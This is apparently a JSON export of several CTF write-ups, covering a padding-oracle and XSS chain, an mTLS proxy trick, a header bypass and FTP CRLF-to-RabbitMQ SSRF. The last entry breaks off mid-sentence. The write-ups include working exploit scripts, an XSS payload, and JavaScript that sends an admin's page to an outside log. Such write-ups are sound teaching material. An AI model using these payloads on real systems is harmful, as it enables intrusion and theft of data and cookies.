[{"content":"This is the fork of my friend\u0026rsquo;s blog: Writeup for Web-Checkin in CyBRICS CTF 2021. We have worked together for two days to solve the hardest web CheckIn in the CybricsCTF 2021. It is nearly a crypto challenge but I think it deserves a writeup.\n[toc]\nTL;DR Padding Oracle Attack + Bit Flip Attack + XSS\nThis is a hard web challenge in CyBRICS CTF 2021. For some reason, the challenge was ZERO solved during the competition. The author fixed some bug after the competition and announced that anyone who can solve it would receive a reward. We managed to solve it and was one of the only two teams that claimed the reward.\nReconnaissance This challenge simulates a flight booking site, where we can search for flight tickets, buy tickets, and upload tickets to be registered.\nBy submitting a form on http://207.154.224.121:8080/finalize?fisrtName=xxx\u0026amp;lastName=xxx, we will receive a aztec code, which embeds a piece of base64-encoded data.\nWe can upload the aztec code through http://207.154.224.121:8080/upload, and get a successful \u0026ldquo;you are now registered\u0026rdquo; response (but this\u0026rsquo;s not what we want).\nLater, we found something interesting after changing some byte of the base64-encoded data. We got a \u0026ldquo;PADDING_ERROR\u0026rdquo; response by modifying some byte of the data. It immediately occurred to us that this might well be an instance of padding oracle attack.\nTo confirm the intuition we just developed, we generated a aztec code, base64 decoded it into ciphertext, XORed every 256 possible byte value (0~256) in the last byte of the second last ciphertext block, base64 encoded back to a aztec code (utilizing python aztec_code_generator module), and uploaded the aztec code to the server. We received 256 responses, 255 of whose status code is 200, with only one response whose status code is 500. Among the 255 responses, XORing by b\u0026quot;\\x00\u0026quot; in the last byte got a \u0026ldquo;Success\u0026rdquo; reponse and the remaining 254 are all \u0026ldquo;PADDING_ERROR\u0026rdquo; responses. This implied that only the \u0026ldquo;Success\u0026rdquo; response one and the 500 status code one got correctly padded plaintext after decryption on the server side. The \u0026ldquo;Success\u0026rdquo; response was due to it\u0026rsquo;s the original unmodified padded plaintext, while the 500 status code one was because the plaintext after decryption was somewhat modified to be correctly padded and we can gain knowledge of the last byte of the original plaintext by making use of this.\nBy continously sending carefully modified ciphertext to the server and then distinguishing whether or not the server responses with \u0026ldquo;PADDING_ERROR\u0026rdquo;, we can recover the whole plaintext byte by byte. This is the so-called padding oracle attack.\nPadding Oracle Attack So, how does the padding oracle attack work?\nFirst, we need to understand what is padding.\nIt is known that block ciphers can transform (encrypt/decrypt) a plaintext/ciphertext block. 16 bytes data in the case of AES, into a ciphertext/plaintext block. Using some block cipher mode of operation, we can repeatedly apply the block cipher encrypting/decrypting operation on amouts of data whose length is more than a block. For example, AES-CBC mode can encrypt/decrypt multiple blocks. But what if the length of data is not a multiple of the block length? The answer is to use some kind of padding methods, which append some data at the end of the last block to make it a full block.\nOne of the most widely used padding method is PKCS#7 padding method. PKCS#7 first calculates the number of bytes ( pad_length) to be padded, and then appends to the last plaintext block pad_length bytes, with each byte value being pad_length. Upon unpadding, the last byte of the decryption result is extracted and parsed as the pad_length, after which pad_length long bytes are truncated at the end. Below is a Python implementation of PKCS#7 padding and unpadding.\n1 2 3 4 5 6 7 8 9 10 11 12 def pad(pt): pad_length = 16 - len(pt)%16 pt += bytes([pad_length]) * pad_length return pt def unpad(pt): pad_length = pt[-1] if not 1 \u0026lt;= pad_length \u0026lt;= 16: return None if pad(pt[:-pad_length]) != pt: return None return pt[:-pad_length] Note that a valid padding check is done after unpadding. This means that only the following 16 formats of the last block is considered as valid. All the other formats of data are invalid and will produce a PADDING_ERROR response, which is a padding oracle that we will exploit later.\nAnother point to be noted is that, even if the length of plaintext is a multiple of the block size, padding is still needed. In this case, 0x10 bytes will be appended, with each byte value being \\x10.\nBefore moving on, we also need to be fimilar with AES-CBC, which is the most common mode that padding oracle attack can be mounted on.\nIn CBC mode, plaintext is padded and divided into several plaintext blocks. Each plaintext block is XORed with the previous ciphertext block before being AES encrypted. The first plaintext block is XORed with a randomly generated initializaiton vector (IV). The final encryption result is the concatenation of the ciphertext blocks with IV at the head. Decryption just reverses these operations.\nOne significant drawback of AES-CBC is that it does not solely provide intergrity protection. In other words, the attacker can modify the ciphertext (such as bit flipping) and send the modified ciphertext to the server without being noticed. This gives way to the padding oracle attack.\nNow, we can dive into the very details on how the padding oracle works.\nSuppose the attack has possession of a ciphertext which can be divided into an IV and 3 ciphertext blocks c1, c2, c3 . The purpose of the attacker is to decrypt the last ciphertext block c3.\nThe attacker changes the last byte of c2 (XORed with some value), and then send it to the server. The server responses with either a \u0026ldquo;PADDING_ERROR\u0026rdquo; response or a 500 status code reponse. If we gets a 500 status code response, we succeed. This implies that the unpadding check is passed, and the last plaintext block MUST end with b\u0026quot;\\x01, one of the 16 valid padding format.\nAfter recovering the last byte, we can move on to decrypt all the previous bytes of the last plaintext block. For example, to decrypt the second last byte, we can utilize the b\u0026quot;\\x02\\x02\u0026quot; padding format. Since we already have had knowledge of the last byte of plaintext, we can modify the last byte into any value we want by XOR something in c2. At present, what we want is to make the last byte be b\u0026quot;\\x02\u0026quot;, we XOR the last byte of c2 with the last byte of plaintext to cancel it into b\u0026quot;\\x00\u0026quot;, then XOR in b\u0026quot;\\x02\u0026quot;, resulting to b\u0026quot;\\x02\u0026quot;. Then, try every 255 possible byte value guess_byte XOR b\u0026quot;\\x02\u0026quot; (except b\u0026quot;\\x00\u0026quot;) to XOR with the last second byte of c2, and send the modified ciphertext to the padding oracle until a 500 status code response, thus recovering the second last plaintext byte, which is exactly guess_byte.\nThe following is the Python code that can be used to, given ciphertext, recover the last plaintext block.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requests import base64 import aztec_code_generator # padding_oracle recovers the last 16 plaintext bytes of the given ciphertext def padding_oracle(cipher): plaintext = b\u0026#34;\u0026#34; for index in range(1, 17): print(f\u0026#34;[*] index: {index}\u0026#34;) for byte in range(0, 256): bytes_xor = b\u0026#34;\\x00\u0026#34;*(16-index)+bytes([byte^index])+xor(plaintext,bytes([index]*(index-1))) new_cipher = cipher[:-32] + xor(cipher[-32:-16], bytes_xor) + cipher[-16:] b64data = base64.b64encode(new_cipher) code = aztec_code_generator.AztecCode(b64data) code.save(f\u0026#34;./pics/{byte}.png\u0026#34;, module_size=4) f = open(f\u0026#34;./pics/{byte}.png\u0026#34;, \u0026#34;rb\u0026#34;).read() paramsMultipart = [(\u0026#39;file\u0026#39;, (\u0026#39;1.png\u0026#39;, f, \u0026#39;application/png\u0026#39;))] response = session.post(\u0026#34;http://207.154.224.121:8080/upload\u0026#34;, files=paramsMultipart) if response.status_code == 200: body = response.content.split(b\u0026#39;\u0026lt;div class=\u0026#34;content__i\u0026#34;\u0026gt;\u0026#39;)[1].split(b\u0026#34;div\u0026#34;)[0] if b\u0026#34;PADDING\u0026#34; in response.content: print(f\u0026#34;[{byte:\u0026gt;3d}] Status code: {response.status_code}, PADDING ERROR\u0026#34;) else: print(f\u0026#34;[{byte:\u0026gt;3d}] Status code: {response.status_code}, {body}\u0026#34;) else:\t# response.status_code == 500 print(f\u0026#34;[{byte:\u0026gt;3d}] Status code: {response.status_code}\u0026#34;) plaintext = bytes([byte]) + plaintext print(f\u0026#34;plaintext: {plaintext}\u0026#34;) break return plaintext Recovering the Entire Plaintext By exploting the padding oracle, we are enabled to decrypt the last plaintext block byte by byte. Can we go any further? The answer is yes.\nOnce we have recovered the last plaintext block, we can drop the last ciphertext block, and continue to exploit the padding oracle to recover the second last plaintext block. Keep doing this, and we will recover all the plaintext blocks, namely the entire plaintext.\nIn practice, we implemented the attack and succssfully recovered the entire plaintext, which was a json formatted data.\n1 b\u0026#39;{\u0026#34;name\u0026#34;: \u0026#34;12321\u0026#34;, \u0026#34;surname\u0026#34;: \u0026#34;123\u0026#34;, \u0026#34;middle\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;time\u0026#34;: \u0026#34;2021-07-26 13:37:00\u0026#34;, \u0026#34;dest\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;dep\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;flight\u0026#34;: \u0026#34;BLZH1337\u0026#34;}\\x02\\x02\u0026#39; At this point, we got to know how the server side might process the uploaded aztec code. After receiving the code, the server decoded it into ciphertext, decrypted the ciphertext, and unpadded the decryption result. If something wrong happened during unpadding, the server replied with a \u0026ldquo;PADDING_ERROR\u0026rdquo; response. After unpadding, the plaintext was then unmarshaled into an object (by something like JSON.parse()). If any error occurred, the server replied with a 500 status code response. The server would send back us a \u0026ldquo;Success\u0026rdquo; response if everything\u0026rsquo;s ok.\nArbitrary Plaintext Encryption Recovering the entire plaintext is not enough to solve this challenge. We can go more further to craft the ciphertext of arbitrary plaintext that we want.\nTo achieve this goal, we need to combine bit flip attack with the padding oracle attack. Bit flip attack enables us to change the plaintext into what we want, and the padding oracle attack functions as a decryption oracle to help us decrypt any ciphertext.\nSay the ciphertext IV || c1 || c2 || c3 decrypts into p1 || p2 || p3, and we want to get the ciphertext of p1' || p2' || p3.\nWe first XOR c1 with p2 XOR p2' to get c1'. In this way, IV || c1' || c2 || c3 will be decrypted into junk || p2' || p3.\nThe nasty junk block consists of random byte values, which is unknown to us, and the decryption result cannot be parsed correctly by JSON.parse(). What we can do with it? Remember the padding oracle attack to recover the last plaintext block? Yes, we can reuse the padding oracle attack to recover the junk block. After that, we XOR IV with junk XOR p1' to get a new IV'. In this way, IV' || c1' || c2 || c3 will be decrypted into p1' || p2' || p3, which is exactly we want!\nThe XSS Part So we could encrypt what we want now. What should we do next? According to the description of the challenge, we have to go and get the content of the central surveillance system to get the information of Mr.Flag Flagger. But how?\nLet\u0026rsquo;s take a look at the json. There may be a bot in the backend use JSON.parse() to parse the json and some method to render a page with these json data. For example, res.render(\u0026quot;render.html\u0026quot;, name=json.name, surname=json.surname). So we could try to inject a XSS vector into the plaintext, encrypt it and then send the payload to the bot through the upload API.\nBut, at first we need to understand the correspondence between API parameters and JSON parameters. After do a test, we generate a ciphertext through the /finalize API and decrypt the ciphertext to get the correspondence.\n1 2 3 4 5 6 7 8 URL: http://207.154.224.121:8080/finalize?lastName=1\u0026amp;firstName=2\u0026amp;origin=3\u0026amp;Gender=4\u0026amp;destination=5 CipherText: 8BAHi37U69MYAnP4O4cHrpRIJrT3dKwv7uRCoLYzU2vnxEOCb6vT0LffcAROX3jPZ+p4yDtKRXwcxYF9B22a3PH3m9tIiEDc3OrwR9W/ACyIcPw7XEJKAyB3QlHiFn2j0HC8P8SpwFqe4A/NRCESLI996IzP9Rkw066eGSuK0MxhpBXGV2gqfm4FAgqTLE3N PlainText: b\u0026#39;{\u0026#34;name\u0026#34;: \u0026#34;2\u0026#34;, \u0026#34;surname\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;middle\u0026#34;: \u0026#34;4\u0026#34;, \u0026#34;time\u0026#34;: \u0026#34;2021-07-26 13:37:00\u0026#34;, \u0026#34;dest\u0026#34;: \u0026#34;5\u0026#34;, \u0026#34;dep\u0026#34;: \u0026#34;3\u0026#34;, \u0026#34;flight\u0026#34;: \u0026#34;BLZH1337\u0026#34;}\u0026#39; Okay. But which one we should inject the XSS vector? You could try one by one but I think there is a hint in the source code of the challenge.\n1 2 3 4 5 \u0026lt;!-- \u0026lt;h2\u0026gt;Passenger data\u0026lt;/h2\u0026gt; \u0026lt;h3\u0026gt;Name:\u0026lt;/h3\u0026gt; \u0026lt;h4\u0026gt;qweqwe\u0026lt;/h4\u0026gt; --\u0026gt; It looks like the Name is what we want. So we should craft a payload like this.\n1 {\u0026#34;name\u0026#34;: \u0026#34;\u0026lt;script src=http://your_url/?2\u0026gt;\u0026lt;/script\u0026gt;\u0026#34;, \u0026#34;surname\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;middle\u0026#34;: \u0026#34;4\u0026#34;, \u0026#34;time\u0026#34;: \u0026#34;2021-07-26 13:37:00\u0026#34;, \u0026#34;dest\u0026#34;: \u0026#34;5\u0026#34;, \u0026#34;dep\u0026#34;: \u0026#34;3\u0026#34;, \u0026#34;flight\u0026#34;: \u0026#34;BLZH1337\u0026#34;} When we generate the ciphertext, we first need to generate a cipher whose the length of the name parameter is the same length as the name parameter in the XSS payload we constructed. In this exmaple, the name is \u0026lt;script src=http://your_url/?2\u0026gt;\u0026lt;/script\u0026gt; and its length is 40. Therefore, we should generate a ciphertext with a name of length 40 through the /finalize API. And we\u0026rsquo;d better leave the other parameters as default values.\n1 2 3 4 5 URL: http://207.154.224.121:8080/finalize?lastName=1\u0026amp;firstName=0000000000000000000000000000000000000000\u0026amp;origin=3\u0026amp;Gender=4\u0026amp;destination=5 PlainText: b\u0026#39;{\u0026#34;name\u0026#34;: \u0026#34;0000000000000000000000000000000000000000\u0026#34;, \u0026#34;surname\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;middle\u0026#34;: \u0026#34;4\u0026#34;, \u0026#34;time\u0026#34;: \u0026#34;2021-07-26 13:37:00\u0026#34;, \u0026#34;dest\u0026#34;: \u0026#34;5\u0026#34;, \u0026#34;dep\u0026#34;: \u0026#34;3\u0026#34;, \u0026#34;flight\u0026#34;: \u0026#34;BLZH1337\u0026#34;}\u0026#39; After we get the ciphertext, we need to change the plaintext of the ciphertext using padding oracle and bit flipping. And then use base64 and aztec code to encode the ciphertext and upload the aztec code. At last, XSS fires! Now, we get the admin\u0026rsquo;s cookie and the source code of the admin\u0026rsquo;s page. After having used the cookie to visit the page as admin, we found the page only had a search function. I thought I needed to do SQL injection to get the flag. But at last, we just searched \u0026lsquo;Flagger\u0026rsquo; as described in the challenge and got the flag.\nThanks for your reading. Hope you like the writeup! XD\n","date":"2021-08-02T00:32:27Z","permalink":"/en/p/writeup-for-web-checkin-in-cybrics-ctf-2021-mirror/","title":"Writeup for Web-Checkin in CyBRICS CTF 2021 (Mirror)"},{"content":"I played Google CTF Quals 2021 and here is my writeup.\nI played with the Tea Deliverers team in the Google CTF Quals 2021. We sovled 2 webs in Google CTF 2021 quals but I think I have only made a small contribution. In the end, we got 11th rank, sadly I couldn\u0026rsquo;t do much. Hope I could do more in the next time!\nOK. Let\u0026rsquo;s talk about the CTF.\nEmpty LS There is a web challenge called empty ls. This challenge examines a security risk in the MTLS scenario. We could get the following information from the challenge:\nThere is a website https://www.zone443.dev/. Two primary services are offered on this website.\nThis website provides a user registration service and offers user\u0026rsquo;s certificates for download. You could register a user and get a client certificate for your identity. Another service is that it also provides a subdomain registration service. You could register a subdomain under zone443.dev and set an A record to an IP. So it means you could get a sub-domain that is entirely under your control. The challenge provides an example code and a client CA cert which could be used to verify users. Besides, you could report an URL, and the admin will check it.\nThere is another website https://admin.zone443.dev. If you visit the admin\u0026rsquo;s website with your certificate, it will return \u0026lsquo;Hello, user. You are not the admin.\u0026rsquo; The \u0026lsquo;user\u0026rsquo; is exactly your username when you registered on www.zone443.dev.\nSo, obviously, we need to access this site as admin or steal the response when the admin visits the admin.zone443.dev in some way.\nAt first, I came up with an idea. Maybe we could steal the admin\u0026rsquo;s client certificate when the admin visits our website. After we get the admin\u0026rsquo;s certificate, we could try to use it to forge as admin and visit the admin.zone443.dev. But the idea is too naive. After I learn about some docs about MTLS, this may be impossible. So I get stuck.\nAlthough the above idea doesn\u0026rsquo;t work, I think we are still on the right way. At least, our target in this challenge is much more evident than the target in letschat. (In the challenge letschat, we even don\u0026rsquo;t know what the target is, where the flag is and what we should access).\nAfter a few hours, we found an interesting point. The certificate of the admin.zone443.dev is the wildcard. It is *.zone443.dev. But what does it mean? Then I tried to google \u0026lsquo;HTTPS wildcard certificate\u0026rsquo; and \u0026lsquo;TLS client auth bypass\u0026rsquo;. The bad news is I couldn\u0026rsquo;t get anything helpful to solve the challenge.\nWe are stuck again until we came up with another idea. In the period, we also found that admin.zone443.dev doesn\u0026rsquo;t check the host. So this means there will be no warnings if you visit a subdomain whose A record is 34.140.9.160(the A record of admin.zone443.dev). That\u0026rsquo;s an interesting phenomenon.\nOK. Let\u0026rsquo;s talk about XSS. If we want to read the content of the admin\u0026rsquo;s page, we need XSS. But if we\u0026rsquo;re going to XSS on our subdomain to read the content of the admin\u0026rsquo;s page, we need to break the same-origin policy. Is it really a way using a feature of HTTPS we don\u0026rsquo;t know to bypass the same-origin policy?\nBased on the question, we thought, how about DNS Rebinding? But there are quite a few limitations. The max execution time of the bot\u0026rsquo;s chrome is about 10s, but the time of chrome\u0026rsquo;s DNS cache is 60s. You can\u0026rsquo;t set two A records when you register your subdomain, either.\nIt seems we are stuck again. All right.\nLet\u0026rsquo;s review the whole challenge. Do you still remember we could take all control of a subdomain? Yeah. It means we could do what we want to do on it. So what about traffic forwarding? If we forward the traffic to admin.zone443.dev when the admin visits our website, what do you think will happen next? The response is from admin.zone443.dev, but the domain is our domain!\nWhy? As we said above, the certificate of admin.zone443.dev is wildcard, and it ignores the host header in HTTP, so there will be no warnings and no errors in this period. What\u0026rsquo;s more, for admin, he actually visits admin.zone443.dev with his certificate, and for browser, it thinks the domain admin visits is our domain. So, in this scenario, if we send an AJAX request to request the admin\u0026rsquo;s response on our domain, the browser will think this request doesn\u0026rsquo;t violate the same-origin policy. Because the domain which admin visit is our domain, the domain which AJAX requests is also our domain.\nIt makes sense! Quite like a variant DNS Rebinding. The process of the exploit is as follows.\nRegister a subdomain through the subdomain registration service, which is provided by the challenge. Report your subdomain to admin. The admin\u0026rsquo;s browser makes the first request. At this time, the admin will visit your site and execute javascript on your page. The JS code will make an AJAX request to your subdomain. The second request is made by AJAX. You should forward the traffic to admin.zone443.dev at this time. In the end, after you get the response from AJAX, send the response to your HTTP log in some way, and you could get the flag. That\u0026rsquo;s all the process to solve the challenge. We write a go server to forward the traffic. Thanks to my great teammate.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 package main import ( \u0026#34;crypto/tls\u0026#34; \u0026#34;crypto/x509\u0026#34; \u0026#34;encoding/pem\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;io\u0026#34; \u0026#34;io/ioutil\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net\u0026#34; \u0026#34;github.com/valyala/fasthttp\u0026#34; \u0026#34;golang.org/x/sync/errgroup\u0026#34; ) // clientCAPool consructs a CertPool containing the client CA. func clientCAPool()( * x509.CertPool, error) { caCertPem, err: = ioutil.ReadFile(\u0026#34;clientca.crt.pem\u0026#34;) if err != nil { return nil, fmt.Errorf(\u0026#34;error reading clientca cert: %v\u0026#34;, err) } caCertBlock, rest: = pem.Decode(caCertPem) if caCertBlock == nil || len(rest) \u0026gt; 0 { return nil, fmt.Errorf(\u0026#34;error decoding clientca cert PEM block. caCertBlock: %v, len(rest): %d\u0026#34;, caCertBlock, len(rest)) } if caCertBlock.Type != \u0026#34;CERTIFICATE\u0026#34; { return nil, fmt.Errorf(\u0026#34;clientca cert had a bad type: %s\u0026#34;, caCertBlock.Type) } caCert, err: = x509.ParseCertificate(caCertBlock.Bytes) if err != nil { return nil, fmt.Errorf(\u0026#34;error parsing clientca cert ASN.1 DER: %v\u0026#34;, err) } cas: = x509.NewCertPool() cas.AddCert(caCert) return cas, nil } func servePage(conn net.Conn) error { log.Printf(\u0026#34;serve page\u0026#34;) clientCA, err: = clientCAPool() if err != nil { return err } serverCert, err: = tls.LoadX509KeyPair(\u0026#34;fullchain.pem\u0026#34;, \u0026#34;privkey.pem\u0026#34;) if err != nil { return err } tlsConn: = tls.Server(conn, \u0026amp; tls.Config { Certificates: [] tls.Certificate { serverCert }, ClientAuth: tls.VerifyClientCertIfGiven, ClientCAs: clientCA, }) err = tlsConn.Handshake() if err != nil { return err } srv: = fasthttp.Server { DisableKeepalive: true, Handler: fasthttp.FSHandler(\u0026#34;static\u0026#34;, 0), } return srv.ServeConn(tlsConn) } func serveProxy(conn net.Conn) error { next, err: = net.Dial(\u0026#34;tcp\u0026#34;, \u0026#34;admin.zone443.dev:443\u0026#34;) if err != nil { return err } var group errgroup.Group group.Go(func() error { _, err: = io.Copy(conn, next) return err }) group.Go(func() error { _, err: = io.Copy(next, conn) return err }) return group.Wait() } func main() { lis, err: = net.Listen(\u0026#34;tcp\u0026#34;, \u0026#34;:https\u0026#34;) if err != nil { log.Fatalf(\u0026#34;Failed to listen: %v\u0026#34;, err) } count: = 0 for { conn, err: = lis.Accept() if err != nil { log.Fatalf(\u0026#34;Failed to accept: %v\u0026#34;, err) } count++ if count == 1 { go func() { err: = servePage(conn) if err != nil { log.Printf(\u0026#34;Failed to serve page: %v\u0026#34;, err) } }() } else { go func() { err: = serveProxy(conn) if err != nil { log.Printf(\u0026#34;Failed to serve proxy: %v\u0026#34;, err) } }() } } } The javascript code is something like this.\n1 2 3 4 5 6 7 var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { navigator.sendBeacon(\u0026#39;https://http_log\u0026#39;, this.responseText) }; xhttp.open(\u0026#34;GET\u0026#34;, \u0026#34;/\u0026#34;, true); xhttp.withCredentials = true; xhttp.send(); At last, we got the flag. Pretty cool, man!\nGPU Shop This challenge has an environment that is so complex that I don\u0026rsquo;t know how to explain it. I want to try my best to describe the setting of the challenge in short.\nThe challenge provides two services.\nThe first service is a reverse proxy service https://paymeflare-web.2021.ctfcompetition.com. After you log in to this site with your Google account, you could set some settings according to the document. The reverse proxy will set an HTTP header x-pay and visit your IP. If you want to visit the URL which has \u0026lsquo;checkout\u0026rsquo;, the proxy will add an HTTP header \u0026lsquo;X-Wallet\u0026rsquo;. There is another service http://gpushop.2021.ctfcompetition.com. This website uses the paymeflare service as the reverse proxy. You could buy the flag on this website. When you try to buy the flag, it will get the eth address from the HTTP header \u0026lsquo;X-Wallet\u0026rsquo;. Request the balance of the eth address through cloudflare-eth.com. If your balance is greater than your cost, you will get the flag. We don\u0026rsquo;t know how to solve the challenge, so we ask our boss to get a pretty rich eth address and buy the flag in the end.\nAlthough there are many proxies in the challenge, we could use URLEncode to bypass the \u0026lsquo;checkout\u0026rsquo; limitation, and the backend will not get the \u0026lsquo;X-Wallet\u0026rsquo; header. The GPU shop will get a pretty rich eth address because of the code used in gpushop.\n1 2 3 4 function format_addr($addr) { return \u0026#39;0x\u0026#39;.str_pad($addr, 40, \u0026#39;0\u0026#39;, STR_PAD_LEFT); } $order-\u0026gt;wallet = $this-\u0026gt;format_addr($request-\u0026gt;header(\u0026#39;X-Wallet\u0026#39;)); When the header \u0026lsquo;X-Wallet\u0026rsquo; is not set, the value of $order-\u0026gt;wallet is 0x0000000000000000000000000000000000000000 and the balance of this address is 0x1c923afe206b9068f3f which is greater than the cost of flag 1537550000000000000000. So we could buy the flag.\nOther Webs There are other two webs. One of them is callled letschat. In this challenge, you need to do a lot of brainstorming, and we take pretty much time to solve this challenge but still fail in the end. Although the intended solution is to predict the UUID of the message, I realized that some teams bruted the UUID to get the flag. Mmm, this really makes me mad. It\u0026rsquo;s too guessy and pretty annoying. I initially thought this challenge was inspired by some slack\u0026rsquo;s vulnerabilities from the real world, but the intended solution beat me.\nThe last web is an XSS challenge created by @terjanq. Pretty cool and amazing. You could read this simple solution written by him.\nThanks for reading. Hope my bad English has not affected your reading of this article. :\u0026gt;\n","date":"2021-07-21T02:58:54Z","permalink":"/en/p/two-webs-writeup-in-google-ctf-quals-2021/","title":"Two Webs' Writeup in Google CTF Quals 2021"},{"content":"Here is my write up of Contrived Web Problem in Plaid CTF 2020.\n[TOC]\nTL;DR You can get the attachment of the chall in this repo.\nYou can find CRLF in ftp then use CRLF to inject ftp command. You can use PORT command to build a TCP connection with rabbitmq server. Make a HTTP message which can let the nodemailer send a email containing the flag as a attachment to your email through rabbitmq web api. Hide this HTTP message in a PNG. Upload the picture as your profile. Use the REST command to cut the PNG and let PETR command return the HTTP message which is in the PNG to rabbitmq server. Check FLAG in your email. CRLF in FTP We guess there should be a CRLF in FTP at first. And use %250d%250a to test it because it use the following code.\n1 2 3 4 5 6 7 8 9 10 11 12 if (parsed.protocol === \u0026#34;ftp:\u0026#34;) { let username = decodeURIComponent(parsed.username); let password = decodeURIComponent(parsed.password); let filename = decodeURIComponent(parsed.pathname); let ftpClient = await connectFtp({ host: parsed.hostname, port: parsed.port !== \u0026#34;\u0026#34; ? parseInt(parsed.port) : undefined, user: username !== \u0026#34;\u0026#34; ? username : undefined, password: password !== \u0026#34;\u0026#34; ? password : undefined, }); image = await ftpClient.get(filename); } Send this url through api/image.\n1 GET /api/image?url=ftp://2:2%250d%250aPORT%20172,32,56,72,61,56%250d%250aREST%206%250d%250aRETR%20%252fuser%252fb21791e2-6016-4c36-8f9a-6054750d2b5a%252fprofile%252epng@ftp:21/user/b21791e2-6016-4c36-8f9a-6054750d2b5a/profile.png This url will make a request like this.\nSo we get a CRLF now.\nOr you can audit the code of ftp https://github.com/mscdex/node-ftp then you can find it do nothing with CRLF.\nThe active mode of FTP FTP have two modes, one is active and the other is passive.\nIn active mode, the client establishes the command channel but the server is responsible for establishing the data channel. This can actually be a problem if, for example, the client machine is protected by firewalls and will not allow unauthorised session requests from external parties.\nIn passive mode, the client establishes both channels. We already know it establishes the command channel in active mode and it does the same here.\nIf we don\u0026rsquo;t inject code through CRLF, we can get the FTP traffic like this:\nSo it will use PASV command to open passive mode and build a connection with client.\nWhy not inject PORT commant through CRLF to let ftp-srv open active mode and let ftp-srv connect with my server?\nYeah. Just like this. I use PORT command to let ftp-srv connect with my server.\nBut if you try with LIST or something else following by PORT command, you can\u0026rsquo;t get the response on your server. It\u0026rsquo;s a bit strange that I still confused about it. If you know something about this, welcome to discuss.\nThe mail server And how can we get flag? Use FTP? But the flag.txt is not on the ftp server. So we should think about how to get flag.\nI notice there is a function that use to reset user\u0026rsquo;s password.\nservices/api/index.ts\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 app.post(\u0026#34;/password-reset\u0026#34;, async (req, res) =\u0026gt; { let { email } = req.body; if (typeof email !== \u0026#34;string\u0026#34;) { res.status(500).send(\u0026#34;Bad body\u0026#34;); } let newPassword = Array.from(new Array(16), () =\u0026gt; \u0026#34;abcdefghijklmnopqrstuvwxyz0123456789\u0026#34;[Math.floor(Math.random() * 36)]).join(\u0026#34;\u0026#34;); let hashedPassword = await bcrypt.hash(newPassword, 14); await withClient((client) =\u0026gt; client.query(` UPDATE user_auth SET password = $2 WHERE email = $1 `, [email, hashedPassword])); let channel = await rabbit.createChannel(); channel.sendToQueue(\u0026#34;email\u0026#34;, Buffer.from(JSON.stringify({ to: email, subject: \u0026#34;Password Reset\u0026#34;, text: `Hello there, your new password is ${newPassword}`, }))); res.status(200).send(\u0026#34;Password reset\u0026#34;); }); It seems we can\u0026rsquo;t control the ${newPassword}. But I find a way to get flag through reading nodemailer\u0026rsquo;s documentation.\nhttps://nodemailer.com/message/attachments/\nWe can send an email containing the flag as attachment! We can make a json like this:\n1 {\u0026#34;to\u0026#34;:\u0026#34;your@gmail.com\u0026#34;,\u0026#34;subject\u0026#34;:\u0026#34;Password Reset\u0026#34;,\u0026#34;text\u0026#34;:\u0026#34;Hello there, your new password is newpass\u0026#34;,\u0026#34;attachments\u0026#34;:[{\u0026#34;filename\u0026#34;:\u0026#34;flag.txt\u0026#34;,\u0026#34;path\u0026#34;:\u0026#34;/flag.txt\u0026#34;}]} So what we need to do is to control nodemailer to send our message.\nrabbitmq services/email/index.ts\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 let channel = await rabbit.createChannel(); channel.consume(\u0026#34;email\u0026#34;, async (msg) =\u0026gt; { if (msg === null) { return; } channel.ack(msg); try { let data = JSON.parse(msg.content.toString()); await transport.sendMail({ from: \u0026#34;plaid2020problem@gmail.com\u0026#34;, subject: \u0026#34;Your Account\u0026#34;, ...data, }); } catch (e) { console.error(e); } }) And we can find how server sendemail here. It uses rabbitmq. And rabbitmq has got web api.\nSo it seems we can control what nodemailer send through rabbitmq\u0026rsquo;s web api.\nBut how can we send http request to rabbitmq? It seems we have got the method how to get flag and the method let ftp server build TCP connection with arbitrary server.\nIt seems we need a connection with them!\nSSRF! The last key to solve this problem is let the ftp server send a http request to rabbitmq server.\nBut how?\nWe notice that we can hide a http message in the profile png and use RRETR to let the ftp server return the message of png.\nAnd use REST 6 to cut the message, make the response like a http message. This is similar with http response splitting.\nSo when ftp server return the data of profile picture, it will return data like this:\n1 2 3 4 5 6 7 POST /api/exchanges/%2f/amq%2edefault/publish HTTP/1.1 Host: 172.32.56.72:15672 Content-Type: application/json authorization: Basic dGVzdDp0ZXN0 Content-Length: 300 {\u0026#34;properties\u0026#34;:{},\u0026#34;routing_key\u0026#34;:\u0026#34;email\u0026#34;,\u0026#34;payload\u0026#34;:\u0026#34;your_payload\u0026#34;,\u0026#34;payload_encoding\u0026#34;:\u0026#34;base64\u0026#34;} But the TCP connection is not persisted, we can\u0026rsquo;t get the response of rabbitmq server and most importantly we can\u0026rsquo;t add a new message in rabbitmq queue.\nDuring the competition, we have to frequently send lots of requests to api server. Hope some requests can exploit successfully. At last we made it once.\nAfter ctf ends, @zwad3, the author of this chall, replied to me.\n{% twitter https://twitter.com/zwad3/status/1252087190278082562 %}\nHe mentioned we should send the real request followed by 50,000 dumb requests (in one file). I tried this method today and this really gave 100% success rate.\nJust like this, I put 1000 http get requests in one file and every time can get flag.\nInteresting challange! Hope u enjoy!\n","date":"2020-04-20T21:09:56Z","permalink":"/en/p/plaid-ctf-2020-contrived-web-problem-write-up/","title":"Plaid CTF 2020 Contrived Web Problem Write Up"},{"content":"This year\u0026rsquo;s Defcon 27 and Black Hat both mentioned HTTP 